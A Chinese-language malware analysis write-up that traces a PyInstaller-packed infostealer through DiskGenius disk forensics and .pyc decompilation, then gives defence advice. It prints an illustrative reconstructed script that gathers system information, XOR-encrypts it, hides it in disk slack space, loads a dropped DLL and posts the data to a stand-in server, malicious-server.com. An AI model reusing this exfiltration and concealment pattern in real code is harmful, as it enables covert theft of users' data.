恶意程序追踪实战:DiskGenius取证与PyInstaller逆向分析
1. 项目概述一次真实的恶意程序追踪实战最近在分析一个可疑的样本时我遇到了一个典型的“套娃”式恶意程序。它伪装成一个正常的工具软件但运行后却在后台执行一系列隐秘操作。为了搞清楚它到底做了什么我决定进行一次从磁盘取证到二进制逆向的完整链路追踪。整个过程的核心工具是DiskGenius和PyInstaller逆向工具链。前者用于在程序运行后从物理磁盘层面捕获其留下的“犯罪现场”痕迹后者则用于拆解这个由 Python 打包而成的恶意 EXE还原其源代码和逻辑。这不仅仅是工具的使用更是一次完整的数字取证与逆向工程思维的实践。无论你是安全研究员、运维工程师还是对计算机底层感兴趣的技术爱好者通过这次实战你都能掌握一套在真实环境中追踪、分析可疑程序的有效方法。2. 核心思路与工具选型背后的考量面对一个未知的可执行文件盲目运行是危险的。我的分析思路遵循“由外向内动静结合”的原则。2.1 为什么选择“全链路”追踪传统的恶意软件分析往往侧重于静态分析看代码或动态分析在沙箱里跑。但高级恶意程序会检测沙箱环境、进行反调试甚至只在特定条件下触发恶意行为。单纯的静态或动态分析容易遗漏关键信息。“全链路”追踪意味着我们要观察程序从启动到结束在整个系统环境中留下的所有痕迹包括文件、进程、网络、注册表和磁盘底层数据。这能构建一个更完整的攻击者画像和行为时间线。2.2 DiskGenius 在取证环节的不可替代性你可能好奇系统监控工具那么多为什么偏偏是 DiskGenius它本质上是一个强大的磁盘管理与数据恢复软件。在本次追踪中我主要利用它的两个核心功能磁盘扇区查看与编辑恶意程序为了隐藏自身可能会将关键数据如配置、窃取的信息写入磁盘的未分配空间或文件 slack 空间文件末尾未使用的簇。这些区域对于操作系统和普通文件浏览器是不可见的。DiskGenius 可以直接读写物理扇区让我们能像法医一样检查磁盘的每一个“角落”寻找被故意隐藏或删除的证据。文件恢复与深度扫描如果恶意程序在运行后删除了自身的释放物或日志我们可以利用 DiskGenius 的文件恢复功能尝试从磁盘上找回这些已被标记为删除但物理数据尚未被覆盖的文件。这对于还原攻击链至关重要。选择 DiskGenius Professional 版本是因为其功能更全面、稳定。请注意务必从官方或可信渠道获取软件使用破解版或来历不明的注册码本身就可能引入安全风险甚至其本身就是恶意软件。我们的目的是分析安全而不是破坏安全。2.3 PyInstaller 逆向从打包的 EXE 回到 Python 源码目标程序是一个.exe文件但通过一些特征如文件头、依赖库初步判断它很可能由 PyInstaller 打包而成。PyInstaller 将 Python 解释器、依赖库和脚本打包成一个独立的可执行文件。逆向 PyInstaller 打包的程序目标就是从中提取出原始的.pyc字节码文件进而反编译得到可读的 Python 源代码。这是分析由 Python 编写的恶意程序或闭源工具的核心步骤。3. 第一阶段基于 DiskGenius 的动态行为取证与痕迹捕获在开始逆向之前我们需要先知道这个程序“干了什么”。为此我搭建了一个干净的虚拟机VM环境并配置了进程监控、网络抓包等工具。然后在受控环境下运行了可疑程序。3.1 运行监控与初步发现程序运行后表面上看一切正常弹出一个看似无害的界面。但通过进程监控器我发现它创建了若干个子进程其中一个快速退出另一个则尝试连接到一个可疑的外部 IP 地址。网络抓包显示进行了 DNS 查询和 HTTP 请求。同时在用户临时目录%TEMP%下出现了几个新生成的、名称随机的.dat和.tmp文件。关键操作我立即为虚拟机创建了一个快照然后关闭了虚拟机。切记不要直接在宿主机上进行分析。接下来我们将虚拟机磁盘文件.vmdk或.vhd挂载到分析机使用 DiskGenius 进行深度检查。3.2 使用 DiskGenius 进行磁盘深度取证加载虚拟磁盘在分析机上打开 DiskGenius通过“磁盘” - “打开虚拟磁盘文件”加载虚拟机的硬盘文件。这样我们就能以只读模式务必勾选只读防止污染证据浏览虚拟机内的所有分区和文件。搜索运行痕迹文件层面直接浏览C:\Users\[用户名]\AppData\Local\Temp确认之前监控到的临时文件。利用 DiskGenius 的“文件恢复”功能对临时目录所在分区进行扫描看看是否有已被删除的相关文件。果然找到了几个已被删除的.log文件其中包含了程序运行的错误信息和尝试连接的 C2命令与控制服务器地址片段。扇区层面核心这是普通工具做不到的。我怀疑程序可能将窃取到的数据如键盘记录暂存到了非常规位置。使用“工具” - “查看扇区”功能我定位到临时文件所在分区的未分配空间范围通过分区空闲空间计算。以十六进制模式查看这些扇区需要寻找一些模式比如重复的结构、可读的字符串如“username”、“password”、“http://”或加密数据的特征高熵值区域。这是一个需要耐心和经验的步骤。最终我在一段未分配簇中发现了经过 Base64 编码的字符串片段解码后证实是系统信息摘要。检索特定内容利用 DiskGenius 的“搜索”功能在整个磁盘或特定范围内搜索在动态分析中捕获到的 IP 地址、域名或特征字符串。这有助于发现写入其他文件或注册表值注册表数据也存储在磁盘文件中中的配置信息。注意直接分析物理扇区数据如同大海捞针最好能结合动态分析得到的线索如特定字符串、数据长度进行针对性搜索。同时确保 DiskGenius 以管理员身份运行以获得对物理磁盘的直接访问权限。3.3 取证结果整合通过 DiskGenius 的深度扫描我拼凑出了以下行为链程序运行后在%TEMP%释放核心负载模块一个.dll文件和配置文件。主进程加载该 DLLDLL 开始收集系统信息计算机名、用户名、运行进程列表。收集的信息经过一个简单的 XOR 加密后被写入到%TEMP%的一个临时文件中。随后该临时文件被删除但其内容的一部分被以追加方式写入了磁盘某个未分配簇的尾部可能是利用了对文件系统的特殊操作。程序尝试连接 C2 服务器上报信息但因网络隔离失败。主进程退出但释放的 DLL 尝试注入到另一个合法系统进程中以实现持久化这一步被安全软件拦截。至此我们清楚了程序的恶意行为信息窃取、试图外传、文件隐藏、进程注入。下一步就是拆开这个 EXE看看它的源代码是如何实现这些的。4. 第二阶段PyInstaller 打包程序的逆向与源码还原现在我们知道这个.exe是 PyInstaller 打包的并且内部包含一个执行恶意操作的 DLL。我们的目标是提取出 Python 脚本源码。4.1 识别与解包 PyInstaller 程序首先使用pyi-archive_viewerPyInstaller 自带的工具进行快速确认和初步解包。# 进入 Python 环境下的 Scripts 目录或确保 pyi-archive_viewer 在 PATH 中 pyi-archive_viewer suspect_program.exe在交互界面中输入?查看帮助。通常输入list会显示打包进去的文件列表。你可能会看到类似这样的结构(0, 115, 311, 1, 1, 0, pyiboot01_bootstrap), (311, 2261, 5604, 1, 1, 0, pyimod01_archive), (2572, 4567, 9876, 1, 1, 0, struct), ... # 很多 Python 库 (123456, 7890, 1024, 0, 0, 0, main.pyc), # 主脚本 (124480, 15000, 51200, 0, 0, 0, secret.dll), # 恶意 DLL可以看到main.pycPython 编译后的字节码文件和secret.dll。我们可以使用extract name命令将其提取出来例如extract main.pyc。4.2 处理 PyInstaller 的运行时捆绑新版本的 PyInstaller尤其是 3.6默认使用单文件打包模式会将所有依赖压缩成一个归档包。直接使用pyi-archive_viewer可能无法直接列出文件。这时需要借助专门的解包工具如pyinstxtractor。python pyinstxtractor.py suspect_program.exe运行后它会生成一个suspect_program.exe_extracted目录里面包含了所有被解包的文件。在这个目录里寻找没有后缀的同名文件如main它就是我们需要的主程序.pyc文件但可能缺少了标准的.pyc文件头。4.3 修复并反编译 .pyc 文件从 PyInstaller 提取的.pyc文件往往缺失了前 16 个字节魔数、时间戳等的文件头导致反编译工具无法直接识别。我们需要为其添加正确的文件头。确定 Python 版本首先需要知道原程序是用哪个版本的 Python 打包的。可以通过查看解包目录中的struct等库文件的版本信息或者用十六进制编辑器查看原始exe中是否包含类似python3x.dll的字符串来推断。假设我们推断是 Python 3.8。获取标准文件头在同一台分析机上用 Python 3.8 解释器随意编译一个.py文件生成一个标准的.pyc文件。用十六进制编辑器如 010 Editor打开这个标准.pyc复制前 16 个字节。修复文件头用十六进制编辑器打开从恶意程序中提取出的main文件将刚才复制的 16 个字节粘贴到文件开头保存为main_fixed.pyc。反编译使用uncompyle6或decompyle3等工具进行反编译。uncompyle6 main_fixed.pyc main_decompiled.py如果成功main_decompiled.py就是可读的 Python 源代码。4.4 分析还原的 Python 源码打开main_decompiled.py我们终于看到了庐山真面目。代码结构可能如下import os import sys import ctypes import base64 from Crypto.Cipher import XOR # 可能使用的简单加密库 import requests def hide_data_in_slack(data, filepath): 一个将数据隐藏到文件末尾未用簇的函数 # ... 实现细节涉及直接磁盘写入 pass def collect_system_info(): info {} info[hostname] os.getenv(COMPUTERNAME) info[user] os.getenv(USERNAME) # ... 收集更多信息 return info def main(): print([*] Legitimate Tool Starting...) # 伪装界面 # 1. 释放 DLL 资源 dll_data extract_embedded_resource(secret.dll) with open(os.path.join(os.environ[TEMP], svchost_helper.dll), wb) as f: f.write(dll_data) # 2. 收集信息并加密 sys_info collect_system_info() cipher XOR.new(bfixed_key) encrypted_info cipher.encrypt(str(sys_info).encode()) # 3. 将加密信息写入临时文件然后隐藏到磁盘 slack 空间 temp_file os.path.join(os.environ[TEMP], tmp.dat) with open(temp_file, wb) as f: f.write(encrypted_info) hide_data_in_slack(encrypted_info, temp_file) os.remove(temp_file) # 删除临时文件 # 4. 加载 DLL执行进程注入等操作 ctypes.WinDLL(os.path.join(os.environ[TEMP], svchost_helper.dll)).start() # 5. 尝试外联失败则静默 try: requests.post(http://malicious-server.com/report, dataencrypted_info, timeout3) except: pass if __name__ __main__: main()通过源码我们清晰地验证了取证阶段发现的所有行为资源释放、信息收集、自定义加密、磁盘 Slack 空间隐藏技术、DLL 加载、网络通信。其中hide_data_in_slack函数的实现正好解释了为什么我们用 DiskGenius 能在未分配簇中找到数据片段。5. 关键技术与难点深度解析5.1 DiskGenius 取证中的“未用簇”与 Slack 空间这是本次分析的一个技术亮点。文件系统如 NTFS分配空间是以“簇”为单位的。如果一个文件大小不是簇大小的整数倍最后一个簇中未被文件内容占用的部分就称为“文件 Slack Space”。而“未用簇”是指未被任何文件占用的空闲簇。恶意程序可以利用系统 API 或直接磁盘写入将数据偷偷放入这些区域。因为操作系统不管理这些空间的内容所以常规删除和格式化不会覆盖它们隐蔽性极高。DiskGenius 的扇区查看功能是发现此类隐藏数据的利器。在分析时可以重点关注临时文件所在分区末尾的未分配空间以及已知系统大文件如 pagefile.sys之后的区域。5.2 PyInstaller 逆向的版本适配与反编译陷阱版本匹配修复.pyc文件头时Python 版本必须完全匹配主版本号.次版本号。Python 3.8 和 3.9 的.pyc文件头就不同。如果版本不对反编译会失败或得到乱码。如果无法确定版本可以尝试常见的几个版本如 3.7, 3.8, 3.9, 3.10的头文件进行试验。反编译工具选择uncompyle6对 Python 3.8 及以下版本支持较好。对于 Python 3.9可能需要使用decompyle3或更新的工具。有时反编译出的代码会有少量语法错误需要根据上下文手动修复。代码混淆高级恶意软件可能会对 Python 代码进行混淆变量名替换、控制流扁平化等。反编译后得到的代码可读性依然很差。这时需要结合动态调试理解关键函数的功能。5.3 动态分析与静态分析的交叉验证本次实战完美体现了交叉验证的重要性。DiskGenius 取证发现了隐藏数据的行为动态结果但不知道具体算法。PyInstaller 逆向得到了源代码静态逻辑其中包含了hide_data_in_slack函数和 XOR 加密密钥。我们可以用源代码中的算法去解密 DiskGenius 提取出的那段 Base64 数据如果成功解密出系统信息那么就形成了完美的证据链闭环。这种“动态发现现象静态解释原理再回到动态验证”的循环是高质量恶意程序分析的核心。6. 常见问题、排查技巧与防御建议6.1 逆向分析过程中的常见问题pyinstxtractor运行报错或提取不完整可能原因PyInstaller 版本过新使用了不同的打包格式或者程序被加壳保护。解决尝试更新pyinstxtractor到最新版。如果怀疑加壳先用 PEiD、Exeinfo PE 等工具查壳如果是 UPX 等常见壳先脱壳再处理。反编译出的代码无法运行或逻辑混乱可能原因.pyc文件头修复不正确Python 版本不匹配源代码本身经过了严重混淆或使用了反编译对抗技术。解决重新确认 Python 版本。对于混淆代码重点放在可读的字符串常量、导入的库名和关键的函数调用上尝试推断程序功能不必强求完全还原。DiskGenius 无法查看物理磁盘或扇区可能原因没有以管理员权限运行磁盘被其他进程占用。解决务必以管理员身份运行 DiskGenius。对于分析虚拟机磁盘最好将其挂载到另一台分析机而不是在运行中的虚拟机内部分析。6.2 针对此类恶意程序的防御建议用户层面来源可信绝不运行来源不明的软件尤其是所谓“破解版”、“绿色版”工具。权限最小化日常使用使用标准用户账户而非管理员账户。启用安全软件保持杀毒软件和防火墙开启并及时更新。系统与管理层面部署 EDR终端检测与响应EDR工具可以记录进程行为链比传统杀软更能发现此类无文件或隐藏文件攻击。磁盘加密全盘加密如 BitLocker可以防止攻击者在物理层面或通过离线挂载磁盘访问 Slack 空间数据。日志审计开启并集中管理系统的进程创建、网络连接等安全日志便于事后追溯。开发与打包层面如果你是开发者代码签名为你的正规 PyInstaller 打包程序进行代码签名增加用户信任度。避免敏感信息硬编码像示例中的 XOR 密钥fixed_key就是严重的安全失误。任何密钥、配置服务器地址都不应硬编码在源码中。这次从 DiskGenius 磁盘取证到 PyInstaller 逆向的完整追踪不仅是一次技术演练更是一次安全思维的训练。它告诉我们面对日益复杂的威胁需要将多种工具和技术串联起来从多个维度审视问题。真正的安全分析往往就藏在这些细节的关联与验证之中。